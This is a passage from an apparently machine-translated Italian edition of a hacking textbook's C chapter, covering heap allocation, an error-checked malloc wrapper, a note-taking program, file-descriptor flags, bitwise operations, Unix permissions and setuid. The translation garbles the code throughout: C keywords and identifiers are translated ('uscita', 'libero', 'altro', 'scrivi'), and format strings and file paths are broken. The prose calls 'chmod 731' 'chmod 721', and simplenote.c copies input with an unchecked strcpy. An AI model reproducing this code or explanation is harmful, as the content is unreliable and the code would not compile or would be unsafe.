mem_size = atoi (argv [1]);

printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) malloc (mem_size); // Allocazione della memoria heap

if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}

strcpy (char_ptr, "Questa è la memoria che si trova nell'heap.");


printf ("char_ptr (% p) -> '% s' \ n", char_ptr, char_ptr);

printf ("\ t [+] allocare 12 byte di memoria sull'heap per int_ptr \ n");
int_ptr = (int *) malloc (12); // Allocato di nuovo la memoria heap

if (int_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}

* int_ptr = 31337; // Mette il valore di 31337 dove punta int_ptr.


printf ("int_ptr (% p) ->% d \ n", int_ptr, * int_ptr);

printf ("\ t [-] liberando la memoria heap di char_ptr ... \ n");


free (char_ptr); // Liberare la memoria dell'heap

printf ("\ t [+] allocare altri 15 byte per char_ptr \ n");


char_ptr = (char *) malloc (15); // Allocazione di più memoria heap

if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}

strcpy (char_ptr, "nuova memoria");


printf ("char_ptr (% p) -> '% s' \ n", char_ptr, char_ptr);

printf ("\ t [-] liberando la memoria heap di int_ptr ... \ n");


libero (int_ptr); // Liberare la memoria dell'heap
printf ("\ t [-] liberando la memoria heap di char_ptr ... \ n");
free (char_ptr); // Liberare l'altro blocco di memoria heap
}

78 0x200

Pagina 93

Questo programma accetta un argomento della riga di comando per la dimensione del primo
allocazione della memoria, con un valore predefinito di 50. Quindi utilizza malloc () e
funzioni free () per allocare e deallocare la memoria nell'heap. Ci sono
un sacco di istruzioni printf () per eseguire il debug di ciò che sta effettivamente accadendo quando il
il programma viene eseguito. Poiché malloc () non sa di che tipo di memoria si tratta
allocando, restituisce un puntatore void alla memoria heap appena allocata,
che deve essere typecast nel tipo appropriato. Dopo ogni chiamata malloc () ,
c'è un blocco di controllo degli errori che controlla se l'allocazione o meno
fallito. Se l'allocazione fallisce e il puntatore è NULL, viene utilizzato fprintf ()
stampa un messaggio di errore su standard error e il programma si chiude. Il fprintf ()
la funzione è molto simile a printf () ; tuttavia, il suo primo argomento è stderr , che
è un filestream standard pensato per visualizzare gli errori. Questa funzione sarà
spiegato più avanti, ma per ora è usato solo come un modo per visualizzare correttamente
un errore. Il resto del programma è piuttosto semplice.

reader @ hacking: ~ / booksrc $ gcc -o heap_example heap_example.c


lettore @ hacking: ~ / booksrc $ ./heap_example
[+] allocare 50 byte di memoria sull'heap per char_ptr
char_ptr (0x804a008) -> "Questa è la memoria che si trova nell'heap."
[+] allocare 12 byte di memoria sull'heap per int_ptr
int_ptr (0x804a040) -> 31337
[-] liberare la memoria heap di char_ptr ...
[+] allocare altri 15 byte per char_ptr
char_ptr (0x804a050) -> 'nuova memoria'
[-] liberare la memoria heap di int_ptr ...
[-] liberare la memoria heap di char_ptr ...
lettore @ hacking: ~ / booksrc $

Nell'output precedente, notare che ogni blocco di memoria ha un incremento


indirizzo di memoria mentalmente più alto nell'heap. Anche se i primi 50 byte
sono stati deallocati, quando vengono richiesti altri 15 byte, vengono inseriti dopo il file
12 byte allocati per int_ptr . Le funzioni di allocazione dell'heap controllano questo
comportamento, che può essere esplorato modificando la dimensione della memoria iniziale
allocazione.

reader @ hacking: ~ / booksrc $ ./heap_example 100


[+] allocando 100 byte di memoria sull'heap per char_ptr
char_ptr (0x804a008) -> "Questa è la memoria che si trova nell'heap."
[+] allocare 12 byte di memoria sull'heap per int_ptr
int_ptr (0x804a070) -> 31337
[-] liberare la memoria heap di char_ptr ...
[+] allocare altri 15 byte per char_ptr
char_ptr (0x804a008) -> "nuova memoria"
[-] liberare la memoria heap di int_ptr ...
[-] liberare la memoria heap di char_ptr ...
lettore @ hacking: ~ / booksrc $

Se un blocco di memoria più grande viene allocato e quindi deallocato, il file final
L'allocazione di 15 byte si verificherà invece in quello spazio di memoria liberato. Per esperienza
menting con valori diversi, è possibile capire esattamente quando l'allocazione

Programmazione 79
Pagina 94

la funzione sceglie di recuperare lo spazio liberato per nuove allocazioni. Spesso semplice
informativa printf () le dichiarazioni e un po 'di sperimentazione può rivelare molti
cose sul sistema sottostante.

0x273 malloc controllato da errori ()


In heap_example.c, c'erano diversi controlli di errore per le chiamate malloc () .
Anche se le chiamate malloc () non sono mai fallite, è importante gestirle tutte
casi potenziali durante la codifica in C.Ma con più chiamate malloc () , questo errore-
il codice di controllo deve apparire in più posizioni. Questo di solito rende il file
il codice sembra sciatto ed è scomodo se è necessario apportare modifiche al file
codice di controllo degli errori o se sono necessarie nuove chiamate a malloc () . Dato che tutti gli errori
il codice di controllo è fondamentalmente lo stesso per ogni chiamata a malloc () , questo è perfetto
posto in cui utilizzare una funzione invece di ripetere le stesse istruzioni in più
posti. Dai un'occhiata a errorchecked_heap.c per un esempio.

errorchecked_heap.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void * errorchecked_malloc (unsigned int); // Prototipo di funzione per errorchecked_malloc ()

int main (int argc, char * argv []) {


char * char_ptr; // Un puntatore di caratteri
int * int_ptr; // Un puntatore intero
int mem_size;

if (argc <2) // Se non ci sono argomenti della riga di comando,


mem_size = 50; // usa 50 come valore predefinito.
altro
mem_size = atoi (argv [1]);

printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) errorchecked_malloc (mem_size); // Allocazione della memoria heap

strcpy (char_ptr, "Questa è la memoria che si trova nell'heap.");


printf ("char_ptr (% p) -> '% s' \ n", char_ptr, char_ptr);
printf ("\ t [+] allocare 12 byte di memoria sull'heap per int_ptr \ n");
int_ptr = (int *) errorchecked_malloc (12); // Allocato di nuovo la memoria heap

* int_ptr = 31337; // Mette il valore di 31337 dove punta int_ptr.


printf ("int_ptr (% p) ->% d \ n", int_ptr, * int_ptr);

printf ("\ t [-] liberando la memoria heap di char_ptr ... \ n");


free (char_ptr); // Liberare la memoria dell'heap

printf ("\ t [+] allocare altri 15 byte per char_ptr \ n");


char_ptr = (char *) errorchecked_malloc (15); // Allocazione di più memoria heap

strcpy (char_ptr, "nuova memoria");

80 0x200

Pagina 95

printf ("char_ptr (% p) -> '% s' \ n", char_ptr, char_ptr);

printf ("\ t [-] liberando la memoria heap di int_ptr ... \ n");


libero (int_ptr); // Liberare la memoria dell'heap
printf ("\ t [-] liberando la memoria heap di char_ptr ... \ n");
free (char_ptr); // Liberare l'altro blocco di memoria heap
}

void * errorchecked_malloc (unsigned int size) {// Una funzione malloc () verificata dagli errori
void * ptr;
ptr = malloc (dimensione);
if (ptr == NULL) {
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
return ptr;
}

Il programma errorchecked_heap.c è fondamentalmente equivalente al


codice heap_example.c precedente, ad eccezione dell'allocazione della memoria heap e
il controllo degli errori è stato raccolto in un'unica funzione. La prima riga di codice
[ void * errorchecked_malloc (unsigned int); ] è il prototipo della funzione. Questo consente
il compilatore sa che ci sarà una funzione chiamata errorchecked_malloc () che
si aspetta un singolo argomento intero senza segno e restituisce un puntatore void . Il
la funzione effettiva può quindi essere ovunque; in questo caso è dopo il principale () fun-
zione. La funzione stessa è abbastanza semplice; accetta solo la dimensione in byte a
alloca e tenta di allocare quella quantità di memoria utilizzando malloc () . Se la
l'allocazione non riesce, il codice di controllo degli errori visualizza un errore e il programma
uscite; in caso contrario, restituisce il puntatore alla memoria di heap appena allocata.
In questo modo, la funzione personalizzata errorchecked_malloc () può essere utilizzata al posto di
un normale malloc () , eliminando la necessità di un controllo ripetitivo degli errori dopo
reparto. Questo dovrebbe iniziare a evidenziare l'utilità della programmazione con
funzioni.

0x280 Costruire sulle basi


Una volta compresi i concetti di base della programmazione C, il resto è carino
facile. La maggior parte della potenza di C deriva dall'utilizzo di altre funzioni. Infatti,
se le funzioni fossero state rimosse da uno dei programmi precedenti, tutto questo
rimarrebbero affermazioni molto basilari.

0x281 Accesso ai file


Esistono due modi principali per accedere ai file in C: descrittori di file e file-
flussi. I descrittori di file utilizzano un insieme di funzioni di I / O di basso livello e i filestreams lo sono
una forma di I / O bufferizzata di livello superiore costruita sulle funzioni di livello inferiore.
Alcuni considerano le funzioni filestream più facili da programmare; tuttavia, file
i descrittori sono più diretti. In questo libro, l'attenzione sarà rivolta al livello basso
Funzioni di I / O che utilizzano descrittori di file.

Programmazione 81

Pagina 96

Il codice a barre sul retro di questo libro rappresenta un numero. Perchè questo
numero è unico tra gli altri libri in una libreria, il cassiere può
scansiona il numero al momento del pagamento e usalo per fare riferimento alle informazioni su questo
prenota nel database del negozio. Allo stesso modo, un descrittore di file è un numero che è
utilizzato per fare riferimento a file aperti. Quattro funzioni comuni che utilizzano descrittori di file
sono open () , close () , read () e write () . Tutte queste funzioni restituiranno Г1 se
c'è un errore. La funzione open () apre un file per la lettura e / o la scrittura
e restituisce un descrittore di file. Il descrittore di file restituito è solo un numero intero
valore, ma è unico tra i file aperti. Il descrittore di file viene passato come file
argomento per le altre funzioni come un puntatore al file aperto. Per il
close (), il descrittore di file è l'unico argomento. Il read () e
Gli argomenti delle funzioni write () sono il descrittore di file, un puntatore ai dati a
leggere o scrivere e il numero di byte da leggere o scrivere da quella posizione.
Gli argomenti della funzione open () sono un puntatore al nome del file da aprire
e una serie di flag predefiniti che specificano la modalità di accesso. Queste bandiere e
il loro utilizzo verrà spiegato in dettaglio più avanti, ma per ora diamo un'occhiata a un file
semplice programma per prendere appunti che utilizza descrittori di file: simplenote.c. Questo
il programma accetta una nota come argomento della riga di comando e quindi la aggiunge al file
fine del file / tmp / notes. Questo programma utilizza diverse funzioni, incluso un file
funzione di allocazione della memoria dell'heap controllata dagli errori dall'aspetto familiare. Altre funzioni
vengono utilizzate per visualizzare un messaggio di utilizzo e per gestire gli errori irreversibili. Il
La funzione usage () è semplicemente definita prima di main () , quindi non ha bisogno di una funzione
prototipo.

simplenote.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>

void usage (char * prog_name, char * filename) {


printf ("Utilizzo:% s <dati da aggiungere a% s> \ n", nome_programma, nomefile);
uscita (0);
}

void fatal (char *); // Una funzione per errori irreversibili


void * ec_malloc (unsigned int); // Un wrapper malloc () controllato dagli errori

int main (int argc, char * argv []) {


int fd; // descrittore di file
char * buffer, * datafile;

buffer = (char *) ec_malloc (100);


datafile = (char *) ec_malloc (20);
strcpy (datafile, "/ tmp / notes");

if (argc <2) // Se non ci sono argomenti della riga di comando,


utilizzo (argv [0], datafile); // visualizza il messaggio di utilizzo ed esce.

82 0x200

Pagina 97

strcpy (buffer, argv [1]); // Copia nel buffer.

printf ("[DEBUG] buffer @% p: \ '% s \' \ n", buffer, buffer);


printf ("[DEBUG] datafile @% p: \ '% s \' \ n", datafile, datafile);

strncat (buffer, "\ n", 1); // Aggiunge una nuova riga alla fine.

// Apertura del file


fd = open (datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
se (fd == -1)
fatal ("in main () durante l'apertura del file");
printf ("[DEBUG] il descrittore di file è% d \ n", fd);
// Scrittura dei dati
if (scrivi (fd, buffer, strlen (buffer)) == -1)
fatal ("in main () durante la scrittura del buffer nel file");
// Chiusura del file
if (chiudi (fd) == -1)
fatal ("in main () durante la chiusura del file");

printf ("La nota è stata salvata. \ n");


libero (buffer);
libero (file di dati);
}

// Una funzione per visualizzare un messaggio di errore e quindi uscire


void fatal (char * message) {
char error_message [100];

strcpy (error_message, "[!!] Fatal Error");


strncat (messaggio_errore, messaggio, 83);
perror (messaggio_errore);
uscita (-1);
}

// Una funzione wrapper malloc () verificata dagli errori


void * ec_malloc (unsigned int size) {
void * ptr;
ptr = malloc (dimensione);
if (ptr == NULL)
fatal ("in ec_malloc () sull'allocazione della memoria");
return ptr;
}

Oltre agli strani flag usati nella funzione open () , la maggior parte di questo
il codice dovrebbe essere leggibile. Ci sono anche alcune funzioni standard che noi
non hanno mai usato prima. La funzione strlen () accetta una stringa e restituisce la sua
lunghezza. Viene utilizzato in combinazione con la funzione write () , poiché è necessario
sapere quanti byte scrivere. La funzione perror () è l'abbreviazione di print error ed è
utilizzato in fatal () per stampare un messaggio di errore aggiuntivo (se esiste) prima di uscire.

reader @ hacking: ~ / booksrc $ gcc -o simplenote simplenote.c


lettore @ hacking: ~ / booksrc $ ./simplenote
Utilizzo: ./simplenote <dati da aggiungere a / tmp / notes>

Programmazione 83

Pagina 98

reader @ hacking: ~ / booksrc $ ./simplenote "questa è una nota di prova"


[DEBUG] buffer @ 0x804a008: "questa è una nota di prova"
[DEBUG] file di dati @ 0x804a070: "/ tmp / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ cat / tmp / notes
questa è una nota di prova
reader @ hacking: ~ / booksrc $ ./simplenote "fantastico, funziona"
[DEBUG] buffer @ 0x804a008: "fantastico, funziona"
[DEBUG] file di dati @ 0x804a070: "/ tmp / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ cat / tmp / notes
questa è una nota di prova
fantastico, funziona
lettore @ hacking: ~ / booksrc $

L'output dell'esecuzione del programma è abbastanza autoesplicativo, ma


ci sono alcune cose sul codice sorgente che necessitano di ulteriori spiegazioni.
I file fcntl.h e sys / stat.h dovevano essere inclusi, poiché quei file definiscono l'estensione
flag usati con la funzione open () . Il primo set di flag si trova in fcntl.h
e serve per impostare la modalità di accesso. La modalità di accesso deve utilizzare almeno uno dei
i seguenti tre flag:

O_RDONLY Apri file per accesso in sola lettura.


O_WRONLY Apri file per l'accesso in sola scrittura.
O_RDWR Apri file sia per l'accesso in lettura che in scrittura.

Questi flag possono essere combinati con molti altri flag opzionali utilizzando il
Operatore OR bit per bit. Alcuni dei più comuni e utili di questi flag sono
come segue:

O_APPEND Scrivi i dati alla fine del file.


O_TRUNC Se il file esiste già, troncare il file a lunghezza 0.
O_CREAT Crea il file se non esiste.

Le operazioni bit per bit combinano i bit utilizzando porte logiche standard come OR e
E. Quando due bit entrano in una porta OR, il risultato è 1 se il primo bit o il file
il secondo bit è 1. Se due bit entrano in una porta AND, il risultato è 1 solo se entrambi i primi
bit e il secondo bit sono 1. I valori a 32 bit completi possono utilizzare questi operatori bit per bit per
eseguire operazioni logiche su ogni bit corrispondente. Il codice sorgente di
bitwise.c e l'output del programma dimostrano queste operazioni bitwise.

bitwise.c

#include <stdio.h>

int main () {
int i, bit_a, bit_b;
printf ("operatore OR bit per bit | \ n");

84 0x200

Pagina 99

for (i = 0; i <4; i ++) {


bit_a = (i & 2) / 2; // Ottieni il secondo bit.
bit_b = (i & 1); // Ottieni il primo bit.
printf ("% d |% d =% d \ n", bit_a, bit_b, bit_a | bit_b);
}
printf ("\ noperatore AND bit per bit & \ n");
for (i = 0; i <4; i ++) {
bit_a = (i & 2) / 2; // Ottieni il secondo bit.
bit_b = (i & 1); // Ottieni il primo bit.
printf ("% d &% d =% d \ n", bit_a, bit_b, bit_a & bit_b);
}
}

I risultati della compilazione e dell'esecuzione bitwise.c sono i seguenti.

reader @ hacking: ~ / booksrc $ gcc bitwise.c


lettore @ hacking: ~ / booksrc $ ./a.out
Operatore OR bit per bit |
0| 0=0
0| 1=1
1| 0=1
1| 1=1

operatore AND bit per bit &


0e0=0
0e1=0
1e0=0
1e1=1
lettore @ hacking: ~ / booksrc $

I flag usati per la funzione open () hanno valori che corrispondono a


bit singoli. In questo modo, i flag possono essere combinati utilizzando la logica OR senza distruggere-
qualsiasi informazione. Il programma fcntl_flags.c e il suo output ne esplorano alcuni
dei valori flag definiti da fcntl.h e come si combinano tra loro.

fcntl_flags.c

#include <stdio.h>
#include <fcntl.h>

void display_flags (char *, unsigned int);


void binary_print (unsigned int);

int main (int argc, char * argv []) {


display_flags ("O_RDONLY \ t \ t", O_RDONLY);
display_flags ("O_WRONLY \ t \ t", O_WRONLY);
display_flags ("O_RDWR \ t \ t \ t", O_RDWR);
printf ("\ n");
display_flags ("O_APPEND \ t \ t", O_APPEND);
display_flags ("O_TRUNC \ t \ t \ t", O_TRUNC);
display_flags ("O_CREAT \ t \ t \ t", O_CREAT);

Programmazione 85

Pagina 100

printf ("\ n");


display_flags ("O_WRONLY | O_APPEND | O_CREAT", O_WRONLY | O_APPEND | O_CREAT);
}

void display_flags (char * label, unsigned int value) {


printf ("% s \ t:% d \ t:", etichetta, valore);
binary_print (valore);
printf ("\ n");
}

void binary_print (unsigned int value) {


maschera int senza segno = 0xff000000; // Inizia con una maschera per il byte più alto.
spostamento int senza segno = 256 * 256 * 256; // Inizia con uno spostamento per il byte più alto.
byte int senza segno, byte_iterator, bit_iterator;

for (byte_iterator = 0; byte_iterator <4; byte_iterator ++) {


byte = (valore e maschera) / shift; // Isola ogni byte.
printf ("");
for (bit_iterator = 0; bit_iterator <8; bit_iterator ++) {// Stampa i bit del byte.
if (byte & 0x80) // Se il bit più alto nel byte non è 0,
printf ("1"); // stampa un 1.
altro
printf ("0"); // Altrimenti, stampa uno 0.
byte * = 2; // Sposta tutti i bit a sinistra di 1.
}
maschera / = 256; // Sposta i bit nella maschera a destra di 8.
spostamento / = 256; // Sposta i bit in shift a destra di 8.
}
}

I risultati della compilazione e dell'esecuzione di fcntl_flags.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc fcntl_flags.c


lettore @ hacking: ~ / booksrc $ ./a.out
O_RDONLY : 0: 00000000 00000000 00000000 00000000
O_WRONLY : 1: 00000000 00000000 00000000 00000001
O_RDWR : 2: 00000000 00000000 00000000 00000010

O_APPEND : 1024: 00000000 00000000 00000100 00000000


O_TRUNC : 512: 00000000 00000000 00000010 00000000
O_CREAT : 64: 00000000 00000000 00000000 01000000

O_WRONLY | O_APPEND | O_CREAT: 1089: 00000000 00000000 00000100 01000001


$

L'utilizzo di flag di bit in combinazione con la logica bit per bit è un metodo efficiente e
monly ha usato la tecnica. Finché ogni bandiera è un numero che ha solo un unico
bit attivati, l'effetto di eseguire un OR bit per bit su questi valori è lo stesso di
aggiungendoli. In fcntl_flags.c, 1 ​+ 1024 + 64 = 1089. Questa tecnica funziona solo
quando tutti i bit sono unici, però.

86 0x200
Pagina 101

0x282 Autorizzazioni file


Se il flag O_CREAT viene utilizzato in modalità di accesso per la funzione open () , un ulteriore
è necessario un argomento per definire i permessi del file del file appena creato.
Questo argomento utilizza flag di bit definiti in sys / stat.h, che possono essere combinati
tra di loro utilizzando la logica OR bit per bit.

S_IRUSR Assegna al file l'autorizzazione di lettura per l'utente (proprietario).


S_IWUSR Assegna il permesso di scrittura al file per l'utente (proprietario).
S_IXUSR Assegna al file l'autorizzazione di esecuzione per l'utente (proprietario).

S_IRGRP Assegna al file l'autorizzazione di lettura per il gruppo.


S_IWGRP Assegna al gruppo l'autorizzazione alla scrittura.
S_IXGRP Assegna al file l'autorizzazione di esecuzione per il gruppo.

S_IROTH Dai il permesso di lettura al file per altri (chiunque).


S_IWOTH Assegna al file il permesso di scrittura per altri (chiunque).
S_IXOTH Assegna al file il permesso di eseguire per altri (chiunque).

Se hai già familiarità con i permessi dei file Unix, quei flag dovrebbero
ha perfettamente senso per te. Se non hanno senso, ecco un corso accelerato in
Autorizzazioni file Unix.
Ogni file ha un proprietario e un gruppo. Questi valori possono essere visualizzati utilizzando
ls -l e sono mostrati di seguito nel seguente output.

lettore @ hacking: ~ / booksrc $ ls -l / etc / passwd simplenote *


-rw-r - r-- 1 root root 1424 2007-09-06 09:45 / etc / passwd
-rwxr-xr-x 1 reader reader 8457 2007-09-07 02:51 semplicenote
-rw ------- 1 lettore lettore 1872 2007-09-07 02:51 simplenote.c
lettore @ hacking: ~ / booksrc $

Per il file / etc / passwd, il proprietario è root e anche il gruppo è root. Per
gli altri due file semplici, il proprietario è il lettore e il gruppo è gli utenti.
Le autorizzazioni di lettura, scrittura ed esecuzione possono essere attivate e disattivate per tre
diversi campi: utente, gruppo e altro. Le autorizzazioni utente descrivono cosa è
proprietario del file può fare (leggere, scrivere e / o eseguire), i permessi di gruppo
descrivere cosa possono fare gli utenti di quel gruppo e descrivere altre autorizzazioni
quello che tutti gli altri possono fare. Questi campi vengono visualizzati anche nella parte anteriore del file
ls -loutput. Innanzitutto, vengono visualizzate le autorizzazioni di lettura / scrittura / esecuzione dell'utente,
usando r per leggere, w per scrivere, x per eseguire e - per off. I prossimi tre
i caratteri visualizzano i permessi del gruppo e gli ultimi tre caratteri lo sono
per le altre autorizzazioni. Nell'output sopra, il programma simplenote ha
tutte e tre le autorizzazioni utente attivate (mostrate in grassetto). Ogni permesso cor-
risponde a un flag di bit; read è 4 (100 in binario), write è 2 (010 in binario) e
execute è 1 (001 in binario). Poiché ogni valore contiene solo bit univoci,
un'operazione OR bit per bit ottiene lo stesso risultato dell'aggiunta di questi numeri
insieme fa. Questi valori possono essere sommati per definire le autorizzazioni per
utente, gruppo e altro utilizzando il comando chmod .

Programmazione 87

Pagina 102

reader @ hacking: ~ / booksrc $ chmod 731 simplenote.c


lettore @ hacking: ~ / booksrc $ ls -l simplenote.c
-rwx-wx - x 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader @ hacking: ~ / booksrc $ chmod ugo-wx simplenote.c
lettore @ hacking: ~ / booksrc $ ls -l simplenote.c
-r -------- 1 lettore lettore 1826 2007-09-07 02:51 simplenote.c
lettore @ hacking: ~ / booksrc $ chmod u + w simplenote.c
lettore @ hacking: ~ / booksrc $ ls -l simplenote.c
-rw ------- 1 lettore lettore 1826 2007-09-07 02:51 simplenote.c
lettore @ hacking: ~ / booksrc $

Il primo comando ( chmod 721 ) fornisce i permessi di lettura, scrittura ed esecuzione a


l'utente, poiché il primo numero è 7 (4 + 2 + 1), scrive ed esegue i permessi
per raggruppare, poiché il secondo numero è 3 (2 + 1), ed eseguire solo permis-
sion ad altro, poiché il terzo numero è 1. È anche possibile aggiungere autorizzazioni o
sottratto usando chmod . Nel prossimo comando chmod , l'argomento ugo-wx
significa Sottrai autorizzazioni di scrittura ed esecuzione da utente, gruppo e altro . Il finale
Il comando chmod u + w dà il permesso di scrittura all'utente.
Nel programma simplenote, la funzione open () utilizza S_IRUSR | S_IWUSR per
il suo argomento di autorizzazione aggiuntivo, il che significa che il file / tmp / notes dovrebbe
disporre dell'autorizzazione di lettura e scrittura dell'utente solo al momento della creazione.

lettore @ hacking: ~ / booksrc $ ls -l / tmp / notes


-rw ------- 1 lettore lettore 36 2007-09-07 02:52 / tmp / notes
lettore @ hacking: ~ / booksrc $

0x283 ID utente
Ogni utente su un sistema Unix ha un numero ID utente univoco. Questo ID utente può
essere visualizzato utilizzando il comando id .

reader @ hacking: ~ / booksrc $ id reader


uid = 999 (lettore) gid = 999 (lettore)
gruppi = 999 (lettore), 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 4
4 (video), 46 (plugdev), 104 (scanner), 112 (netdev), 113 (lpadmin), 115 (powerdev), 117 (a
dmin)
reader @ hacking: ~ / booksrc $ matrice id
uid = 500 (matrice) gid = 500 (matrice) gruppi = 500 (matrice)
lettore @ hacking: ~ / booksrc $ id root
uid = 0 (root) gid = 0 (root) gruppi = 0 (root)
lettore @ hacking: ~ / booksrc $

L'utente root con ID utente 0 è come l'account amministratore, che ha


pieno accesso al sistema. Il comando su può essere utilizzato per passare a una diversa
ent utente e se questo comando viene eseguito come root, può essere eseguito senza pass-
parola. Il comando sudo consente di eseguire un singolo comando come utente root.
Sul LiveCD, sudo è stato configurato in modo che possa essere eseguito senza pass-
parola, per semplicità. Questi comandi forniscono un metodo semplice per
passare rapidamente da un utente all'altro.

88 0x200

Pagina 103

lettore @ hacking: ~ / booksrc $ sudo su jose


jose @ hacking: / home / reader / booksrc $ id
uid = 501 (jose) gid = 501 (jose) gruppi = 501 (jose)
jose @ hacking: / home / reader / booksrc $

Come l'utente jose, il programma simplenote verrà eseguito come jose se viene eseguito,
ma non avrà accesso al file / tmp / notes. Questo file è di proprietà dell'utente
lettore e consente solo il permesso di lettura e scrittura al suo proprietario.

jose @ hacking: / home / reader / booksrc $ ls -l / tmp / notes


-rw ------- 1 lettore lettore 36 2007-09-07 05:20 / tmp / notes
jose @ hacking: / home / reader / booksrc $ ./simplenote "una nota per jose"
[DEBUG] buffer @ 0x804a008: "una nota per jose"
[DEBUG] file di dati @ 0x804a070: "/ tmp / notes"
[!!] Errore irreversibile in main () durante l'apertura del file: autorizzazione negata
jose @ hacking: / home / reader / booksrc $ cat / tmp / notes
cat: / tmp / notes: Autorizzazione negata
jose @ hacking: / home / reader / booksrc $ exit
Uscita
lettore @ hacking: ~ / booksrc $

Questo va bene se Reader è l'unico utente del programma simplenote; però,


ci sono molte volte in cui più utenti devono poter accedere a determinati file
porzioni dello stesso file. Ad esempio, il file / etc / passwd contiene account
informazioni per ogni utente del sistema, incluso il login predefinito di ogni utente
conchiglia. Il comando chsh consente a qualsiasi utente di modificare la propria shell di login.
Questo programma deve essere in grado di apportare modifiche al file / etc / passwd, ma
solo sulla riga che riguarda l'account dell'utente corrente. La soluzione a
questo problema in Unix è il permesso di impostare l'ID utente (setuid) . Questo è un addi-
bit di autorizzazione file nazionale che può essere impostato utilizzando chmod . Quando un programma con
questo flag viene eseguito, viene eseguito come ID utente del proprietario del file.

reader @ hacking: ~ / booksrc $ which chsh


/ usr / bin / chsh
lettore @ hacking: ~ / booksrc $ ls -l / usr / bin / chsh / etc / passwd
-rw-r - r-- 1 root root 1424 2007-09-06 21:05 / etc / passwd
-rw s r-xr-x 1 root root 23920 2006-12-19 20:35 / usr / bin / chsh
lettore @ hacking: ~ / booksrc $

Il programma chsh ha il flag setuid impostato, che è indicato da una s nel file
È l'output sopra. Poiché questo file è di proprietà di root e dispone dell'autorizzazione setuid
impostato, il programma verrà eseguito come utente root quando un utente esegue questo programma.
Anche il file / etc / passwd su cui scrive chsh è di proprietà di root e consente solo
il proprietario per scriverci. La logica del programma in chsh è progettata per consentire solo
scrivendo alla riga in / etc / passwd che corrisponde all'utente che esegue il file
programma, anche se il programma è effettivamente in esecuzione come root. Questo
significa che un programma in esecuzione ha sia un ID utente reale che un utente effettivo
ID. Questi ID possono essere recuperati utilizzando le funzioni getuid () e geteuid () ,
rispettivamente, come mostrato in uid_demo.c.

Programmazione 89

Pagina 104

uid_demo.c

#include <stdio.h>

int main () {
printf ("real uid:% d \ n", getuid ());
printf ("uid effettivo:% d \ n", geteuid ());
}

I risultati della compilazione e dell'esecuzione di uid_demo.c sono i seguenti.

lettore @ hacking: ~ / booksrc $ gcc -o uid_demo uid_demo.c


lettore @ hacking: ~ / booksrc $ ls -l uid_demo
-rwxr-xr-x 1 lettore lettore 6825 2007-09-07 05:32 uid_demo
lettore @ hacking: ~ / booksrc $ ./uid_demo
uid reale: 999
uid effettivo: 999
reader @ hacking: ~ / booksrc $ sudo chown root: root ./uid_demo
lettore @ hacking: ~ / booksrc $ ls -l uid_demo
-rwxr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo
lettore @ hacking: ~ / booksrc $ ./uid_demo
uid reale: 999
uid effettivo: 999
lettore @ hacking: ~ / booksrc $
Nell'output per uid_demo.c, entrambi gli ID utente vengono visualizzati come 999 quando
uid_demoviene eseguito, poiché 999 è l'ID utente per il lettore. Successivamente, il sudo com
mand viene utilizzato con il comando chown per modificare il proprietario e il gruppo di
uid_demo di root. Il programma può ancora essere eseguito, poiché è stato eseguito
permesso per altri e mostra che entrambi gli ID utente rimangono 999, da allora
questo è ancora l'ID dell'utente.

lettore @ hacking: ~ / booksrc $ chmod u + s ./uid_demo


chmod: modifica dei permessi di `./uid_demo ': operazione non consentita
lettore @ hacking: ~ / booksrc $ sudo chmod u + s ./uid_demo
lettore @ hacking: ~ / booksrc $ ls -l uid_demo
-rwsr-xr-x 1 root root 6825 2007-09-07 05:32 uid_demo
lettore @ hacking: ~ / booksrc $ ./uid_demo
uid reale: 999
uid effettivo: 0
lettore @ hacking: ~ / booksrc $

Poiché il programma è ora di proprietà di root, è necessario utilizzare sudo per modificare
permessi di file su di esso. Il chmod u + s giri di comando sulla setuid autoriz-
sion, che può essere visto nel seguente output di ls -l . Ora quando l'utente
il lettore esegue uid_demo , l'ID utente effettivo è 0 per root, il che significa che il file
il programma può accedere ai file come root. Questo è il modo in cui il programma chsh è in grado di consentire
qualsiasi utente per modificare la propria shell di login memorizzata in / etc / passwd.

90 0x200

Pagina 105

Questa stessa tecnica può essere utilizzata in un programma per prendere appunti multiutente.
Il prossimo programma sarà una modifica del programma simplenote; lo farà
registra anche l'ID utente dell'autore originale di ciascuna nota. Inoltre, un nuovo
verrà introdotta la sintassi per #include .
Le funzioni ec_malloc () e fatal () sono state utili in molti dei nostri
programmi. Invece di copiare e incollare queste funzioni in ogni programma,
possono essere inseriti in un file di inclusione separato.

hacking.h

// Una funzione per visualizzare un messaggio di errore e quindi uscire


void fatal (char * message) {
char error_message [100];

strcpy (error_message, "[!!] Fatal Error");


strncat (messaggio_errore, messaggio, 83);
perror (messaggio_errore);
uscita (-1);
}

// Una funzione wrapper malloc () verificata dagli errori


void * ec_malloc (unsigned int size) {
void * ptr;
ptr = malloc (dimensione);
if (ptr == NULL)
fatal ("in ec_malloc () sull'allocazione della memoria");
return ptr;
}

In questo nuovo programma, hacking.h, le funzioni possono essere semplicemente incluse. In C,


quando il nome del file per un #include è circondato da < e > , il compilatore guarda
per questo file nei percorsi di inclusione standard, come / usr / include /. Se il nome del file
